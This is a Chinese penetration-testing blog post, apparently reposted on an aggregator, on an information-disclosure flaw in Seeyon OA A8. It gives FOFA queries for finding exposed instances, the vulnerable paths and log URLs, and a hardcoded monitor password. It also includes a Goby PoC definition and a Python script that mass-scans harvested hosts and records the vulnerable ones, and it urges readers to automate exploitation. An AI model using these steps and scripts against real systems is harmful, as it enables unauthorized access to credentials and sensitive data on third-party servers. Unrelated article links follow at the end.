「渗透笔记」致远OA A8 status.jsp 信息泄露POC批量验证

2024-03-23 22:44

本文主要是介绍「渗透笔记」致远OA A8 status.jsp 信息泄露POC批量验证,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言部分

在本节中,我会分两部分来说明致远OA A8 status.jsp 信息泄露的验证问题,其实就是两种验证方式吧,都一样,都是批量验证,主要如下所示:

  1. 通过Python脚本进行批量验证,但是前提是你可以收集到所有致远OA A8的地址(URL)。我一般使用两款工具进行收集。
    • FOFA:https://fofa.info/
    • 鹰图:https://hunter.qianxin.com/
  2. 通过Goby进行批量验证。

啊,我个人感觉,其实这一部分可以做成自动化攻击的,当然我知道某些大厂内部已经有很多自动化攻击工具了,毕竟我始终是个小白,其实这一部分的自动化,无非就是:收集资产—验证漏洞—利用漏洞—形成报告。不管是用python,还是go,还是ruby,还是java,就是个时间问题吧。有时间、有兴趣的小伙伴可以钻研一下。

正文部分

简介

漏洞名称:致远OA A8 status.jsp 信息泄露

漏洞详情

在致远OA A8-m系统中,存在一个安全漏洞,该漏洞导致状态监控页面的信息保护不当。由于这一问题,潜在的攻击者能够访问并提取关键信息,如网站的具体路径和用户的登录名等敏感数据。这些信息的泄露可能为攻击者提供了进一步对系统进行攻击的机会。

漏洞复现

第一步、在FOFA中使用title="A8-m"查找资产。
第二步、判断是否存在对应页面:/seeyon/management/status.jsp
第三步、使用密码WLCCYBD@SEEYON登录。

复现结果:

在这里插入图片描述
通过下面的URL可以获得敏感信息:

/seeyon/management/status.jsp
/seeyon/logs/login.log
/seeyon/logs/v3x.log

批量验证

Goby 批量验证 POC

package exploitsimport ("git.gobies.org/goby/goscanner/goutils"
)func init() {expJson := `{"Name": "致远OA A8 status.jsp 信息泄露","Description": "<p>利用该漏洞可读取致远OA A8 中的敏感信息,包括日志信息、服务器状态信息等。经验证存在的页面,使用WLCCYBD@SEEYON作为密码可以登录。<br></p>","Product": "致远OA","Homepage": "https://www.seeyon.com/","DisclosureDate": "2024-03-22","PostTime": "2024-03-22","Author": "","FofaQuery": "title=\"A8-m\"","GobyQuery": "title=\"A8-m\"","Level": "1","Impact": "","Recommendation": "","References": [],"Is0day": false,"HasExp": false,"ExpParams": [{"name": "","type": "input","value": "","show": ""}],"ExpTips": {"Type": "","Content": ""},"ScanSteps": ["AND",{"Request": {"method": "GET","uri": "/seeyon/management/index.jsp","follow_redirect": true,"header": {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9","Cache-Control": "max-age=0","Connection": "keep-alive","Cookie": "JSESSIONID=5E2354B7A7C884BA110199C3A2B803A2","Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Mobile Safari/537.36"},"data_type": "text","data": ""},"ResponseTest": {"type": "group","operation": "AND","checks": [{"type": "item","variable": "$code","operation": "==","value": "200","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "Management Monitor","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "Password","bz": ""}]},"SetVariable": []}],"ExploitSteps": ["AND",{"Request": {"method": "GET","uri": "/test.php","follow_redirect": true,"header": {},"data_type": "text","data": ""},"ResponseTest": {"type": "group","operation": "AND","checks": [{"type": "item","variable": "$code","operation": "==","value": "200","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "test","bz": ""}]},"SetVariable": []}],"Tags": ["信息泄露"],"VulType": ["信息泄露"],"CVEIDs": [""],"CNNVD": [""],"CNVD": [""],"CVSSScore": "","Translation": {"CN": {"Name": "致远OA A8 status.jsp 信息泄露","Product": "致远OA","Description": "<p>利用该漏洞可读取致远OA A8 中的敏感信息,包括日志信息、服务器状态信息等。经验证存在的页面,使用WLCCYBD@SEEYON作为密码可以登录。<br></p>","Recommendation": "","Impact": "","VulType": ["信息泄露"],"Tags": ["信息泄露"]},"EN": {"Name": "致远OA A8 status.jsp 信息泄露","Product": "致远OA","Description": "<p>利用该漏洞可读取致远OA A8 中的敏感信息,包括日志信息、服务器状态信息等。经验证存在的页面,使用<span style=\"color: rgb(58, 55, 55); font-size: 16px;\">WLCCYBD@SEEYON作为密码可以登录。</span><br></p>","Recommendation": "","Impact": "","VulType": ["Information Disclosure"],"Tags": ["Information Disclosure"]}},"AttackSurfaces": {"Application": null,"Support": null,"Service": null,"System": null,"Hardware": null}
}`ExpManager.AddExploit(NewExploit(goutils.GetFileName(),expJson,nil,nil,))
}

验证过程:

通过Goby的Fofa插件,批量导入。

在这里插入图片描述
然后直接选择POC进行验证。

验证结果:
在这里插入图片描述

Python 批量验证 POC

import requests# 假设我们有一个包含URLs的文本文件 verify.txt
input_file_path = r'E:\UserData\Desktop\verify.txt'
output_file_path = r'E:\UserData\Desktop\result.txt'# 用于存储符合条件的URLs
valid_urls = []# 尝试读取输入文件并处理每个URL
try:with open(input_file_path, 'r') as input_file:for line in input_file:url = line.strip()  # 去除空白字符# 检查URL是否有协议前缀,如果没有则添加http或httpsif not url.lower().startswith(('http://', 'https://')):url = 'http://' + url# 构建完整的URLfull_url = f"{url}/seeyon/management/status.jsp"# 发送请求try:response = requests.get(full_url, timeout=10)  # 设置超时时间# 检查响应状态码和内容if response.status_code == 200:if "Management Monitor" in response.text and "Password" in response.text:valid_urls.append(full_url)print(f"Valid URL found: {full_url}")except requests.exceptions.RequestException as e:print(f"Error accessing {full_url}: {e}")# 将有效的URLs写入输出文件with open(output_file_path, 'w') as output_file:for url in valid_urls:output_file.write(url + '\n')print("Process completed. Valid URLs have been saved to result.txt.")except FileNotFoundError:print(f"The file {input_file_path} was not found.")
except IOError as e:print(f"An I/O error occurred: {e}")

这个脚本会将存在预期结果的内容保存在一个result.txt中,没有做完善,感兴趣的话可以自己修改一下。

在这里插入图片描述
我测试发现结果没跑全,因为https 的问题吧?反正有 goby 在,我也懒得去鼓秋代码了。

这篇关于「渗透笔记」致远OA A8 status.jsp 信息泄露POC批量验证的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/839728

相关文章

opencv图像处理之指纹验证的实现

《opencv图像处理之指纹验证的实现》本文主要介绍了opencv图像处理之指纹验证的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学... 目录一、简介二、具体案例实现1. 图像显示函数2. 指纹验证函数3. 主函数4、运行结果三、总结一、

一文详解SQL Server如何跟踪自动统计信息更新

《一文详解SQLServer如何跟踪自动统计信息更新》SQLServer数据库中,我们都清楚统计信息对于优化器来说非常重要,所以本文就来和大家简单聊一聊SQLServer如何跟踪自动统计信息更新吧... SQL Server数据库中,我们都清楚统计信息对于优化器来说非常重要。一般情况下,我们会开启"自动更新

基于Python开发批量提取Excel图片的小工具

《基于Python开发批量提取Excel图片的小工具》这篇文章主要为大家详细介绍了如何使用Python中的openpyxl库开发一个小工具,可以实现批量提取Excel图片,有需要的小伙伴可以参考一下... 目前有一个需求,就是批量读取当前目录下所有文件夹里的Excel文件,去获取出Excel文件中的图片,并

Python如何获取域名的SSL证书信息和到期时间

《Python如何获取域名的SSL证书信息和到期时间》在当今互联网时代,SSL证书的重要性不言而喻,它不仅为用户提供了安全的连接,还能提高网站的搜索引擎排名,那我们怎么才能通过Python获取域名的S... 目录了解SSL证书的基本概念使用python库来抓取SSL证书信息安装必要的库编写获取SSL证书信息

Win32下C++实现快速获取硬盘分区信息

《Win32下C++实现快速获取硬盘分区信息》这篇文章主要为大家详细介绍了Win32下C++如何实现快速获取硬盘分区信息,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 实现代码CDiskDriveUtils.h#pragma once #include <wtypesbase

Jmeter如何向数据库批量插入数据

《Jmeter如何向数据库批量插入数据》:本文主要介绍Jmeter如何向数据库批量插入数据方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Jmeter向数据库批量插入数据Jmeter向mysql数据库中插入数据的入门操作接下来做一下各个元件的配置总结Jmete

Python批量调整Word文档中的字体、段落间距及格式

《Python批量调整Word文档中的字体、段落间距及格式》这篇文章主要为大家详细介绍了如何使用Python的docx库来批量处理Word文档,包括设置首行缩进、字体、字号、行间距、段落对齐方式等,需... 目录关键代码一级标题设置  正文设置完整代码运行结果最近关于批处理格式的问题我查了很多资料,但是都没

通过Python脚本批量复制并规范命名视频文件

《通过Python脚本批量复制并规范命名视频文件》本文介绍了如何通过Python脚本批量复制并规范命名视频文件,实现自动补齐数字编号、保留原始文件、智能识别有效文件等功能,听过代码示例介绍的非常详细,... 目录一、问题场景:杂乱的视频文件名二、完整解决方案三、关键技术解析1. 智能路径处理2. 精准文件名

Vue ElementUI中Upload组件批量上传的实现代码

《VueElementUI中Upload组件批量上传的实现代码》ElementUI中Upload组件批量上传通过获取upload组件的DOM、文件、上传地址和数据,封装uploadFiles方法,使... ElementUI中Upload组件如何批量上传首先就是upload组件 <el-upl

Python爬虫selenium验证之中文识别点选+图片验证码案例(最新推荐)

《Python爬虫selenium验证之中文识别点选+图片验证码案例(最新推荐)》本文介绍了如何使用Python和Selenium结合ddddocr库实现图片验证码的识别和点击功能,感兴趣的朋友一起看... 目录1.获取图片2.目标识别3.背景坐标识别3.1 ddddocr3.2 打码平台4.坐标点击5.图